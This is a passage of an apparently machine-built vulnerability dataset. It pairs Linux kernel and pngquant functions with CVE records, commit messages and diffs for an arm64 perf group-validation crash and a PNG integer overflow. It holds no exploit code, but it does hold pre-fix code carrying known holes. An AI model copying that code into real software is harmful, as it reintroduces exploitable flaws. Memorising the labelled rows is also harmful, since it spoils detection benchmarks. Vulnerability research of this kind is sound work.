cpu_to_le32(map->m_lblk);\n-\text4_ext_store_pblock(ex2, newblock);\n-\tex2->ee_len = cpu_to_le16(allocated);\n-\text4_ext_mark_uninitialized(ex2);\n-\tif (ex2 != ex)\n-\t\tgoto insert;\n-\t/* Mark modified extent as dirty */\n-\terr = ext4_ext_dirty(handle, inode, path + depth);\n-\text_debug(\"out here\\n\");\n-\tgoto out;\n-insert:\n-\terr = ext4_ext_insert_extent(handle, inode, path, &newex, flags);\n-\tif (err == -ENOSPC && may_zeroout) {\n-\t\terr = ext4_ext_zeroout(inode, &orig_ex);\n-\t\tif (err)\n-\t\t\tgoto fix_extent_len;\n-\t\t/* update the extent length and mark as initialized */\n-\t\tex->ee_block = orig_ex.ee_block;\n-\t\tex->ee_len = orig_ex.ee_len;\n-\t\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t/* zero out the first half */\n-\t\treturn allocated;\n-\t} else if (err)\n-\t\tgoto fix_extent_len;\n-out:\n-\text4_ext_show_leaf(inode, path);\n-\treturn err ? err : allocated;\n-\n-fix_extent_len:\n-\tex->ee_block = orig_ex.ee_block;\n-\tex->ee_len = orig_ex.ee_len;\n-\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\text4_ext_mark_uninitialized(ex);\n-\text4_ext_dirty(handle, inode, path + depth);\n-\treturn err;\n+\tflags |= EXT4_GET_BLOCKS_PRE_IO;\n+\treturn ext4_split_extent(handle, inode, path, map, split_flag, flags);\n }\n \n static int ext4_convert_unwritten_extents_endio(handle_t *handle,"}
|
static inline int ext4_ext_space_root(struct inode *inode, int check)
{
int size;
size = sizeof(EXT4_I(inode)->i_data);
size -= sizeof(struct ext4_extent_header);
size /= sizeof(struct ext4_extent);
if (!check) {
#ifdef AGGRESSIVE_TEST
if (size > 3)
size = 3;
#endif
}
return size;
}
|
static inline int ext4_ext_space_root(struct inode *inode, int check)
{
int size;
size = sizeof(EXT4_I(inode)->i_data);
size -= sizeof(struct ext4_extent_header);
size /= sizeof(struct ext4_extent);
if (!check) {
#ifdef AGGRESSIVE_TEST
if (size > 3)
size = 3;
#endif
}
return size;
}
|
C
| null | null | null |
@@ -2757,17 +2757,13 @@ static int ext4_ext_convert_to_initialized(handle_t *handle,
struct ext4_map_blocks *map,
struct ext4_ext_path *path)
{
- struct ext4_extent *ex, newex, orig_ex;
- struct ext4_extent *ex1 = NULL;
- struct ext4_extent *ex2 = NULL;
- struct ext4_extent *ex3 = NULL;
- struct ext4_extent_header *eh;
+ struct ext4_map_blocks split_map;
+ struct ext4_extent zero_ex;
+ struct ext4_extent *ex;
ext4_lblk_t ee_block, eof_block;
unsigned int allocated, ee_len, depth;
- ext4_fsblk_t newblock;
int err = 0;
- int ret = 0;
- int may_zeroout;
+ int split_flag = 0;
ext_debug("ext4_ext_convert_to_initialized: inode %lu, logical"
"block %llu, max_blocks %u\n", inode->i_ino,
@@ -2779,280 +2775,87 @@ static int ext4_ext_convert_to_initialized(handle_t *handle,
eof_block = map->m_lblk + map->m_len;
depth = ext_depth(inode);
- eh = path[depth].p_hdr;
ex = path[depth].p_ext;
ee_block = le32_to_cpu(ex->ee_block);
ee_len = ext4_ext_get_actual_len(ex);
allocated = ee_len - (map->m_lblk - ee_block);
- newblock = map->m_lblk - ee_block + ext4_ext_pblock(ex);
-
- ex2 = ex;
- orig_ex.ee_block = ex->ee_block;
- orig_ex.ee_len = cpu_to_le16(ee_len);
- ext4_ext_store_pblock(&orig_ex, ext4_ext_pblock(ex));
+ WARN_ON(map->m_lblk < ee_block);
/*
* It is safe to convert extent to initialized via explicit
* zeroout only if extent is fully insde i_size or new_size.
*/
- may_zeroout = ee_block + ee_len <= eof_block;
+ split_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0;
- err = ext4_ext_get_access(handle, inode, path + depth);
- if (err)
- goto out;
/* If extent has less than 2*EXT4_EXT_ZERO_LEN zerout directly */
- if (ee_len <= 2*EXT4_EXT_ZERO_LEN && may_zeroout) {
- err = ext4_ext_zeroout(inode, &orig_ex);
+ if (ee_len <= 2*EXT4_EXT_ZERO_LEN &&
+ (EXT4_EXT_MAY_ZEROOUT & split_flag)) {
+ err = ext4_ext_zeroout(inode, ex);
if (err)
- goto fix_extent_len;
- /* update the extent length and mark as initialized */
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
- /* zeroed the full extent */
- return allocated;
- }
-
- /* ex1: ee_block to map->m_lblk - 1 : uninitialized */
- if (map->m_lblk > ee_block) {
- ex1 = ex;
- ex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);
- ext4_ext_mark_uninitialized(ex1);
- ex2 = &newex;
- }
- /*
- * for sanity, update the length of the ex2 extent before
- * we insert ex3, if ex1 is NULL. This is to avoid temporary
- * overlap of blocks.
- */
- if (!ex1 && allocated > map->m_len)
- ex2->ee_len = cpu_to_le16(map->m_len);
- /* ex3: to ee_block + ee_len : uninitialised */
- if (allocated > map->m_len) {
- unsigned int newdepth;
- /* If extent has less than EXT4_EXT_ZERO_LEN zerout directly */
- if (allocated <= EXT4_EXT_ZERO_LEN && may_zeroout) {
- /*
- * map->m_lblk == ee_block is handled by the zerouout
- * at the beginning.
- * Mark first half uninitialized.
- * Mark second half initialized and zero out the
- * initialized extent
- */
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = cpu_to_le16(ee_len - allocated);
- ext4_ext_mark_uninitialized(ex);
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
-
- ex3 = &newex;
- ex3->ee_block = cpu_to_le32(map->m_lblk);
- ext4_ext_store_pblock(ex3, newblock);
- ex3->ee_len = cpu_to_le16(allocated);
- err = ext4_ext_insert_extent(handle, inode, path,
- ex3, 0);
- if (err == -ENOSPC) {
- err = ext4_ext_zeroout(inode, &orig_ex);
- if (err)
- goto fix_extent_len;
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex,
- ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
- /* blocks available from map->m_lblk */
- return allocated;
-
- } else if (err)
- goto fix_extent_len;
-
- /*
- * We need to zero out the second half because
- * an fallocate request can update file size and
- * converting the second half to initialized extent
- * implies that we can leak some junk data to user
- * space.
- */
- err = ext4_ext_zeroout(inode, ex3);
- if (err) {
- /*
- * We should actually mark the
- * second half as uninit and return error
- * Insert would have changed the extent
- */
- depth = ext_depth(inode);
- ext4_ext_drop_refs(path);
- path = ext4_ext_find_extent(inode, map->m_lblk,
- path);
- if (IS_ERR(path)) {
- err = PTR_ERR(path);
- return err;
- }
- /* get the second half extent details */
- ex = path[depth].p_ext;
- err = ext4_ext_get_access(handle, inode,
- path + depth);
- if (err)
- return err;
- ext4_ext_mark_uninitialized(ex);
- ext4_ext_dirty(handle, inode, path + depth);
- return err;
- }
-
- /* zeroed the second half */
- return allocated;
- }
- ex3 = &newex;
- ex3->ee_block = cpu_to_le32(map->m_lblk + map->m_len);
- ext4_ext_store_pblock(ex3, newblock + map->m_len);
- ex3->ee_len = cpu_to_le16(allocated - map->m_len);
- ext4_ext_mark_uninitialized(ex3);
- err = ext4_ext_insert_extent(handle, inode, path, ex3, 0);
- if (err == -ENOSPC && may_zeroout) {
- err = ext4_ext_zeroout(inode, &orig_ex);
- if (err)
- goto fix_extent_len;
- /* update the extent length and mark as initialized */
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
- /* zeroed the full extent */
- /* blocks available from map->m_lblk */
- return allocated;
-
- } else if (err)
- goto fix_extent_len;
- /*
- * The depth, and hence eh & ex might change
- * as part of the insert above.
- */
- newdepth = ext_depth(inode);
- /*
- * update the extent length after successful insert of the
- * split extent
- */
- ee_len -= ext4_ext_get_actual_len(ex3);
- orig_ex.ee_len = cpu_to_le16(ee_len);
- may_zeroout = ee_block + ee_len <= eof_block;
-
- depth = newdepth;
- ext4_ext_drop_refs(path);
- path = ext4_ext_find_extent(inode, map->m_lblk, path);
- if (IS_ERR(path)) {
- err = PTR_ERR(path);
goto out;
- }
- eh = path[depth].p_hdr;
- ex = path[depth].p_ext;
- if (ex2 != &newex)
- ex2 = ex;
err = ext4_ext_get_access(handle, inode, path + depth);
if (err)
goto out;
-
- allocated = map->m_len;
-
- /* If extent has less than EXT4_EXT_ZERO_LEN and we are trying
- * to insert a extent in the middle zerout directly
- * otherwise give the extent a chance to merge to left
- */
- if (le16_to_cpu(orig_ex.ee_len) <= EXT4_EXT_ZERO_LEN &&
- map->m_lblk != ee_block && may_zeroout) {
- err = ext4_ext_zeroout(inode, &orig_ex);
- if (err)
- goto fix_extent_len;
- /* update the extent length and mark as initialized */
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
- /* zero out the first half */
- /* blocks available from map->m_lblk */
- return allocated;
- }
- }
- /*
- * If there was a change of depth as part of the
- * insertion of ex3 above, we need to update the length
- * of the ex1 extent again here
- */
- if (ex1 && ex1 != ex) {
- ex1 = ex;
- ex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);
- ext4_ext_mark_uninitialized(ex1);
- ex2 = &newex;
- }
- /* ex2: map->m_lblk to map->m_lblk + maxblocks-1 : initialised */
- ex2->ee_block = cpu_to_le32(map->m_lblk);
- ext4_ext_store_pblock(ex2, newblock);
- ex2->ee_len = cpu_to_le16(allocated);
- if (ex2 != ex)
- goto insert;
- /*
- * New (initialized) extent starts from the first block
- * in the current extent. i.e., ex2 == ex
- * We have to see if it can be merged with the extent
- * on the left.
- */
- if (ex2 > EXT_FIRST_EXTENT(eh)) {
- /*
- * To merge left, pass "ex2 - 1" to try_to_merge(),
- * since it merges towards right _only_.
- */
- ret = ext4_ext_try_to_merge(inode, path, ex2 - 1);
- if (ret) {
- err = ext4_ext_correct_indexes(handle, inode, path);
- if (err)
- goto out;
- depth = ext_depth(inode);
- ex2--;
- }
+ ext4_ext_mark_initialized(ex);
+ ext4_ext_try_to_merge(inode, path, ex);
+ err = ext4_ext_dirty(handle, inode, path + depth);
+ goto out;
}
+
/*
- * Try to Merge towards right. This might be required
- * only when the whole extent is being written to.
- * i.e. ex2 == ex and ex3 == NULL.
+ * four cases:
+ * 1. split the extent into three extents.
+ * 2. split the extent into two extents, zeroout the first half.
+ * 3. split the extent into two extents, zeroout the second half.
+ * 4. split the extent into two extents with out zeroout.
*/
- if (!ex3) {
- ret = ext4_ext_try_to_merge(inode, path, ex2);
- if (ret) {
- err = ext4_ext_correct_indexes(handle, inode, path);
+ split_map.m_lblk = map->m_lblk;
+ split_map.m_len = map->m_len;
+
+ if (allocated > map->m_len) {
+ if (allocated <= EXT4_EXT_ZERO_LEN &&
+ (EXT4_EXT_MAY_ZEROOUT & split_flag)) {
+ /* case 3 */
+ zero_ex.ee_block =
+ cpu_to_le32(map->m_lblk + map->m_len);
+ zero_ex.ee_len = cpu_to_le16(allocated - map->m_len);
+ ext4_ext_store_pblock(&zero_ex,
+ ext4_ext_pblock(ex) + map->m_lblk - ee_block);
+ err = ext4_ext_zeroout(inode, &zero_ex);
if (err)
goto out;
+ split_map.m_lblk = map->m_lblk;
+ split_map.m_len = allocated;
+ } else if ((map->m_lblk - ee_block + map->m_len <
+ EXT4_EXT_ZERO_LEN) &&
+ (EXT4_EXT_MAY_ZEROOUT & split_flag)) {
+ /* case 2 */
+ if (map->m_lblk != ee_block) {
+ zero_ex.ee_block = ex->ee_block;
+ zero_ex.ee_len = cpu_to_le16(map->m_lblk -
+ ee_block);
+ ext4_ext_store_pblock(&zero_ex,
+ ext4_ext_pblock(ex));
+ err = ext4_ext_zeroout(inode, &zero_ex);
+ if (err)
+ goto out;
+ }
+
+ allocated = map->m_lblk - ee_block + map->m_len;
+
+ split_map.m_lblk = ee_block;
+ split_map.m_len = allocated;
}
}
- /* Mark modified extent as dirty */
- err = ext4_ext_dirty(handle, inode, path + depth);
- goto out;
-insert:
- err = ext4_ext_insert_extent(handle, inode, path, &newex, 0);
- if (err == -ENOSPC && may_zeroout) {
- err = ext4_ext_zeroout(inode, &orig_ex);
- if (err)
- goto fix_extent_len;
- /* update the extent length and mark as initialized */
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
- /* zero out the first half */
- return allocated;
- } else if (err)
- goto fix_extent_len;
+
+ allocated = ext4_split_extent(handle, inode, path,
+ &split_map, split_flag, 0);
+ if (allocated < 0)
+ err = allocated;
+
out:
- ext4_ext_show_leaf(inode, path);
return err ? err : allocated;
-
-fix_extent_len:
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_mark_uninitialized(ex);
- ext4_ext_dirty(handle, inode, path + depth);
- return err;
}
/*
@@ -3083,15 +2886,11 @@ static int ext4_split_unwritten_extents(handle_t *handle,
struct ext4_ext_path *path,
int flags)
{
- struct ext4_extent *ex, newex, orig_ex;
- struct ext4_extent *ex1 = NULL;
- struct ext4_extent *ex2 = NULL;
- struct ext4_extent *ex3 = NULL;
- ext4_lblk_t ee_block, eof_block;
- unsigned int allocated, ee_len, depth;
- ext4_fsblk_t newblock;
- int err = 0;
- int may_zeroout;
+ ext4_lblk_t eof_block;
+ ext4_lblk_t ee_block;
+ struct ext4_extent *ex;
+ unsigned int ee_len;
+ int split_flag = 0, depth;
ext_debug("ext4_split_unwritten_extents: inode %lu, logical"
"block %llu, max_blocks %u\n", inode->i_ino,
@@ -3101,155 +2900,20 @@ static int ext4_split_unwritten_extents(handle_t *handle,
inode->i_sb->s_blocksize_bits;
if (eof_block < map->m_lblk + map->m_len)
eof_block = map->m_lblk + map->m_len;
-
- depth = ext_depth(inode);
- ex = path[depth].p_ext;
- ee_block = le32_to_cpu(ex->ee_block);
- ee_len = ext4_ext_get_actual_len(ex);
- allocated = ee_len - (map->m_lblk - ee_block);
- newblock = map->m_lblk - ee_block + ext4_ext_pblock(ex);
-
- ex2 = ex;
- orig_ex.ee_block = ex->ee_block;
- orig_ex.ee_len = cpu_to_le16(ee_len);
- ext4_ext_store_pblock(&orig_ex, ext4_ext_pblock(ex));
-
/*
* It is safe to convert extent to initialized via explicit
* zeroout only if extent is fully insde i_size or new_size.
*/
- may_zeroout = ee_block + ee_len <= eof_block;
-
- /*
- * If the uninitialized extent begins at the same logical
- * block where the write begins, and the write completely
- * covers the extent, then we don't need to split it.
- */
- if ((map->m_lblk == ee_block) && (allocated <= map->m_len))
- return allocated;
-
- err = ext4_ext_get_access(handle, inode, path + depth);
- if (err)
- goto out;
- /* ex1: ee_block to map->m_lblk - 1 : uninitialized */
- if (map->m_lblk > ee_block) {
- ex1 = ex;
- ex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);
- ext4_ext_mark_uninitialized(ex1);
- ex2 = &newex;
- }
- /*
- * for sanity, update the length of the ex2 extent before
- * we insert ex3, if ex1 is NULL. This is to avoid temporary
- * overlap of blocks.
- */
- if (!ex1 && allocated > map->m_len)
- ex2->ee_len = cpu_to_le16(map->m_len);
- /* ex3: to ee_block + ee_len : uninitialised */
- if (allocated > map->m_len) {
- unsigned int newdepth;
- ex3 = &newex;
- ex3->ee_block = cpu_to_le32(map->m_lblk + map->m_len);
- ext4_ext_store_pblock(ex3, newblock + map->m_len);
- ex3->ee_len = cpu_to_le16(allocated - map->m_len);
- ext4_ext_mark_uninitialized(ex3);
- err = ext4_ext_insert_extent(handle, inode, path, ex3, flags);
- if (err == -ENOSPC && may_zeroout) {
- err = ext4_ext_zeroout(inode, &orig_ex);
- if (err)
- goto fix_extent_len;
- /* update the extent length and mark as initialized */
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
- /* zeroed the full extent */
- /* blocks available from map->m_lblk */
- return allocated;
-
- } else if (err)
- goto fix_extent_len;
- /*
- * The depth, and hence eh & ex might change
- * as part of the insert above.
- */
- newdepth = ext_depth(inode);
- /*
- * update the extent length after successful insert of the
- * split extent
- */
- ee_len -= ext4_ext_get_actual_len(ex3);
- orig_ex.ee_len = cpu_to_le16(ee_len);
- may_zeroout = ee_block + ee_len <= eof_block;
-
- depth = newdepth;
- ext4_ext_drop_refs(path);
- path = ext4_ext_find_extent(inode, map->m_lblk, path);
- if (IS_ERR(path)) {
- err = PTR_ERR(path);
- goto out;
- }
- ex = path[depth].p_ext;
- if (ex2 != &newex)
- ex2 = ex;
+ depth = ext_depth(inode);
+ ex = path[depth].p_ext;
+ ee_block = le32_to_cpu(ex->ee_block);
+ ee_len = ext4_ext_get_actual_len(ex);
- err = ext4_ext_get_access(handle, inode, path + depth);
- if (err)
- goto out;
+ split_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0;
+ split_flag |= EXT4_EXT_MARK_UNINIT2;
- allocated = map->m_len;
- }
- /*
- * If there was a change of depth as part of the
- * insertion of ex3 above, we need to update the length
- * of the ex1 extent again here
- */
- if (ex1 && ex1 != ex) {
- ex1 = ex;
- ex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);
- ext4_ext_mark_uninitialized(ex1);
- ex2 = &newex;
- }
- /*
- * ex2: map->m_lblk to map->m_lblk + map->m_len-1 : to be written
- * using direct I/O, uninitialised still.
- */
- ex2->ee_block = cpu_to_le32(map->m_lblk);
- ext4_ext_store_pblock(ex2, newblock);
- ex2->ee_len = cpu_to_le16(allocated);
- ext4_ext_mark_uninitialized(ex2);
- if (ex2 != ex)
- goto insert;
- /* Mark modified extent as dirty */
- err = ext4_ext_dirty(handle, inode, path + depth);
- ext_debug("out here\n");
- goto out;
-insert:
- err = ext4_ext_insert_extent(handle, inode, path, &newex, flags);
- if (err == -ENOSPC && may_zeroout) {
- err = ext4_ext_zeroout(inode, &orig_ex);
- if (err)
- goto fix_extent_len;
- /* update the extent length and mark as initialized */
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_dirty(handle, inode, path + depth);
- /* zero out the first half */
- return allocated;
- } else if (err)
- goto fix_extent_len;
-out:
- ext4_ext_show_leaf(inode, path);
- return err ? err : allocated;
-
-fix_extent_len:
- ex->ee_block = orig_ex.ee_block;
- ex->ee_len = orig_ex.ee_len;
- ext4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));
- ext4_ext_mark_uninitialized(ex);
- ext4_ext_dirty(handle, inode, path + depth);
- return err;
+ flags |= EXT4_GET_BLOCKS_PRE_IO;
+ return ext4_split_extent(handle, inode, path, map, split_flag, flags);
}
static int ext4_convert_unwritten_extents_endio(handle_t *handle,
|
linux
|
667eff35a1f56fa74ce98a0c7c29a40adc1ba4e3
|
47ea3bb59cf47298b1cbb4d7bef056b3afea0879
| 0
|
static inline int ext4_ext_space_root(struct inode *inode, int check)
{
int size;
size = sizeof(EXT4_I(inode)->i_data);
size -= sizeof(struct ext4_extent_header);
size /= sizeof(struct ext4_extent);
if (!check) {
#ifdef AGGRESSIVE_TEST
if (size > 3)
size = 3;
#endif
}
return size;
}
|
56,205
| null |
Local
|
Not required
|
Complete
|
CVE-2015-8955
|
https://www.cvedetails.com/cve/CVE-2015-8955/
|
CWE-264
|
Medium
|
Complete
|
Complete
| null |
2016-10-10
| 6.9
|
arch/arm64/kernel/perf_event.c in the Linux kernel before 4.1 on arm64 platforms allows local users to gain privileges or cause a denial of service (invalid pointer dereference) via vectors involving events that are mishandled during a span of multiple HW PMUs.
|
2016-11-28
|
DoS +Priv
| 0
|
https://github.com/torvalds/linux/commit/8fff105e13041e49b82f92eef034f363a6b1c071
|
8fff105e13041e49b82f92eef034f363a6b1c071
|
arm64: perf: reject groups spanning multiple HW PMUs
The perf core implicitly rejects events spanning multiple HW PMUs, as in
these cases the event->ctx will differ. However this validation is
performed after pmu::event_init() is called in perf_init_event(), and
thus pmu::event_init() may be called with a group leader from a
different HW PMU.
The ARM64 PMU driver does not take this fact into account, and when
validating groups assumes that it can call to_arm_pmu(event->pmu) for
any HW event. When the event in question is from another HW PMU this is
wrong, and results in dereferencing garbage.
This patch updates the ARM64 PMU driver to first test for and reject
events from other PMUs, moving the to_arm_pmu and related logic after
this test. Fixes a crash triggered by perf_fuzzer on Linux-4.0-rc2, with
a CCI PMU present:
Bad mode in Synchronous Abort handler detected, code 0x86000006 -- IABT (current EL)
CPU: 0 PID: 1371 Comm: perf_fuzzer Not tainted 3.19.0+ #249
Hardware name: V2F-1XV7 Cortex-A53x2 SMM (DT)
task: ffffffc07c73a280 ti: ffffffc07b0a0000 task.ti: ffffffc07b0a0000
PC is at 0x0
LR is at validate_event+0x90/0xa8
pc : [<0000000000000000>] lr : [<ffffffc000090228>] pstate: 00000145
sp : ffffffc07b0a3ba0
[< (null)>] (null)
[<ffffffc0000907d8>] armpmu_event_init+0x174/0x3cc
[<ffffffc00015d870>] perf_try_init_event+0x34/0x70
[<ffffffc000164094>] perf_init_event+0xe0/0x10c
[<ffffffc000164348>] perf_event_alloc+0x288/0x358
[<ffffffc000164c5c>] SyS_perf_event_open+0x464/0x98c
Code: bad PC value
Also cleans up the code to use the arm_pmu only when we know
that we are dealing with an arm pmu event.
Cc: Will Deacon <will.deacon@arm.com>
Acked-by: Mark Rutland <mark.rutland@arm.com>
Acked-by: Peter Ziljstra (Intel) <peterz@infradead.org>
Signed-off-by: Suzuki K. Poulose <suzuki.poulose@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
| 0
|
arch/arm64/kernel/perf_event.c
|
{"sha": "68a74151fa6cf84002cd3be98a0fc29f67a40b02", "filename": "arch/arm64/kernel/perf_event.c", "status": "modified", "additions": 15, "deletions": 6, "changes": 21, "blob_url": "https://github.com/torvalds/linux/blob/8fff105e13041e49b82f92eef034f363a6b1c071/arch/arm64/kernel/perf_event.c", "raw_url": "https://github.com/torvalds/linux/raw/8fff105e13041e49b82f92eef034f363a6b1c071/arch/arm64/kernel/perf_event.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/arm64/kernel/perf_event.c?ref=8fff105e13041e49b82f92eef034f363a6b1c071", "patch": "@@ -322,22 +322,31 @@ armpmu_add(struct perf_event *event, int flags)\n }\n \n static int\n-validate_event(struct pmu_hw_events *hw_events,\n-\t struct perf_event *event)\n+validate_event(struct pmu *pmu, struct pmu_hw_events *hw_events,\n+\t\t\t\tstruct perf_event *event)\n {\n-\tstruct arm_pmu *armpmu = to_arm_pmu(event->pmu);\n+\tstruct arm_pmu *armpmu;\n \tstruct hw_perf_event fake_event = event->hw;\n \tstruct pmu *leader_pmu = event->group_leader->pmu;\n \n \tif (is_software_event(event))\n \t\treturn 1;\n \n+\t/*\n+\t * Reject groups spanning multiple HW PMUs (e.g. CPU + CCI). The\n+\t * core perf code won't check that the pmu->ctx == leader->ctx\n+\t * until after pmu->event_init(event).\n+\t */\n+\tif (event->pmu != pmu)\n+\t\treturn 0;\n+\n \tif (event->pmu != leader_pmu || event->state < PERF_EVENT_STATE_OFF)\n \t\treturn 1;\n \n \tif (event->state == PERF_EVENT_STATE_OFF && !event->attr.enable_on_exec)\n \t\treturn 1;\n \n+\tarmpmu = to_arm_pmu(event->pmu);\n \treturn armpmu->get_event_idx(hw_events, &fake_event) >= 0;\n }\n \n@@ -355,15 +364,15 @@ validate_group(struct perf_event *event)\n \tmemset(fake_used_mask, 0, sizeof(fake_used_mask));\n \tfake_pmu.used_mask = fake_used_mask;\n \n-\tif (!validate_event(&fake_pmu, leader))\n+\tif (!validate_event(event->pmu, &fake_pmu, leader))\n \t\treturn -EINVAL;\n \n \tlist_for_each_entry(sibling, &leader->sibling_list, group_entry) {\n-\t\tif (!validate_event(&fake_pmu, sibling))\n+\t\tif (!validate_event(event->pmu, &fake_pmu, sibling))\n \t\t\treturn -EINVAL;\n \t}\n \n-\tif (!validate_event(&fake_pmu, event))\n+\tif (!validate_event(event->pmu, &fake_pmu, event))\n \t\treturn -EINVAL;\n \n \treturn 0;"}
|
static inline int armv8pmu_disable_intens(int idx)
{
u32 counter;
if (!armv8pmu_counter_valid(idx)) {
pr_err("CPU%u disabling wrong PMNC counter IRQ enable %d\n",
smp_processor_id(), idx);
return -EINVAL;
}
counter = ARMV8_IDX_TO_COUNTER(idx);
asm volatile("msr pmintenclr_el1, %0" :: "r" (BIT(counter)));
isb();
/* Clear the overflow flag in case an interrupt is pending. */
asm volatile("msr pmovsclr_el0, %0" :: "r" (BIT(counter)));
isb();
return idx;
}
|
static inline int armv8pmu_disable_intens(int idx)
{
u32 counter;
if (!armv8pmu_counter_valid(idx)) {
pr_err("CPU%u disabling wrong PMNC counter IRQ enable %d\n",
smp_processor_id(), idx);
return -EINVAL;
}
counter = ARMV8_IDX_TO_COUNTER(idx);
asm volatile("msr pmintenclr_el1, %0" :: "r" (BIT(counter)));
isb();
/* Clear the overflow flag in case an interrupt is pending. */
asm volatile("msr pmovsclr_el0, %0" :: "r" (BIT(counter)));
isb();
return idx;
}
|
C
| null | null | null |
@@ -322,22 +322,31 @@ armpmu_add(struct perf_event *event, int flags)
}
static int
-validate_event(struct pmu_hw_events *hw_events,
- struct perf_event *event)
+validate_event(struct pmu *pmu, struct pmu_hw_events *hw_events,
+ struct perf_event *event)
{
- struct arm_pmu *armpmu = to_arm_pmu(event->pmu);
+ struct arm_pmu *armpmu;
struct hw_perf_event fake_event = event->hw;
struct pmu *leader_pmu = event->group_leader->pmu;
if (is_software_event(event))
return 1;
+ /*
+ * Reject groups spanning multiple HW PMUs (e.g. CPU + CCI). The
+ * core perf code won't check that the pmu->ctx == leader->ctx
+ * until after pmu->event_init(event).
+ */
+ if (event->pmu != pmu)
+ return 0;
+
if (event->pmu != leader_pmu || event->state < PERF_EVENT_STATE_OFF)
return 1;
if (event->state == PERF_EVENT_STATE_OFF && !event->attr.enable_on_exec)
return 1;
+ armpmu = to_arm_pmu(event->pmu);
return armpmu->get_event_idx(hw_events, &fake_event) >= 0;
}
@@ -355,15 +364,15 @@ validate_group(struct perf_event *event)
memset(fake_used_mask, 0, sizeof(fake_used_mask));
fake_pmu.used_mask = fake_used_mask;
- if (!validate_event(&fake_pmu, leader))
+ if (!validate_event(event->pmu, &fake_pmu, leader))
return -EINVAL;
list_for_each_entry(sibling, &leader->sibling_list, group_entry) {
- if (!validate_event(&fake_pmu, sibling))
+ if (!validate_event(event->pmu, &fake_pmu, sibling))
return -EINVAL;
}
- if (!validate_event(&fake_pmu, event))
+ if (!validate_event(event->pmu, &fake_pmu, event))
return -EINVAL;
return 0;
|
linux
|
8fff105e13041e49b82f92eef034f363a6b1c071
|
4a97abd44329bf7b9c57f020224da5f823c9c9ea
| 0
|
static inline int armv8pmu_disable_intens(int idx)
{
u32 counter;
if (!armv8pmu_counter_valid(idx)) {
pr_err("CPU%u disabling wrong PMNC counter IRQ enable %d\n",
smp_processor_id(), idx);
return -EINVAL;
}
counter = ARMV8_IDX_TO_COUNTER(idx);
asm volatile("msr pmintenclr_el1, %0" :: "r" (BIT(counter)));
isb();
/* Clear the overflow flag in case an interrupt is pending. */
asm volatile("msr pmovsclr_el0, %0" :: "r" (BIT(counter)));
isb();
return idx;
}
|
73,852
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-5735
|
https://www.cvedetails.com/cve/CVE-2016-5735/
|
CWE-190
|
Medium
|
Partial
|
Partial
| null |
2017-05-23
| 6.8
|
Integer overflow in the rwpng_read_image24_libpng function in rwpng.c in pngquant 2.7.0 allows remote attackers to have unspecified impact via a crafted PNG file, which triggers a buffer overflow.
|
2017-05-31
|
Overflow
| 0
|
https://github.com/pornel/pngquant/commit/b7c217680cda02dddced245d237ebe8c383be285
|
b7c217680cda02dddced245d237ebe8c383be285
|
Fix integer overflow in rwpng.h (CVE-2016-5735)
Reported by Choi Jaeseung
Found with Sparrow (http://ropas.snu.ac.kr/sparrow)
| 0
|
rwpng.c
|
{"sha": "e3f59d11007489f2ad5f9af11d86c1f060f26ca0", "filename": "rwpng.c", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/kornelski/pngquant/blob/b7c217680cda02dddced245d237ebe8c383be285/rwpng.c", "raw_url": "https://github.com/kornelski/pngquant/raw/b7c217680cda02dddced245d237ebe8c383be285/rwpng.c", "contents_url": "https://api.github.com/repos/kornelski/pngquant/contents/rwpng.c?ref=b7c217680cda02dddced245d237ebe8c383be285", "patch": "@@ -244,12 +244,6 @@ static pngquant_error rwpng_read_image24_libpng(FILE *infile, png24_image *mainp\n png_get_IHDR(png_ptr, info_ptr, &mainprog_ptr->width, &mainprog_ptr->height,\n &bit_depth, &color_type, NULL, NULL, NULL);\n \n- // For overflow safety reject images that won't fit in 32-bit\n- if (mainprog_ptr->width > INT_MAX/mainprog_ptr->height) {\n- png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n- return PNG_OUT_OF_MEMORY_ERROR; /* not quite true, but whatever */\n- }\n-\n /* expand palette images to RGB, low-bit-depth grayscale images to 8 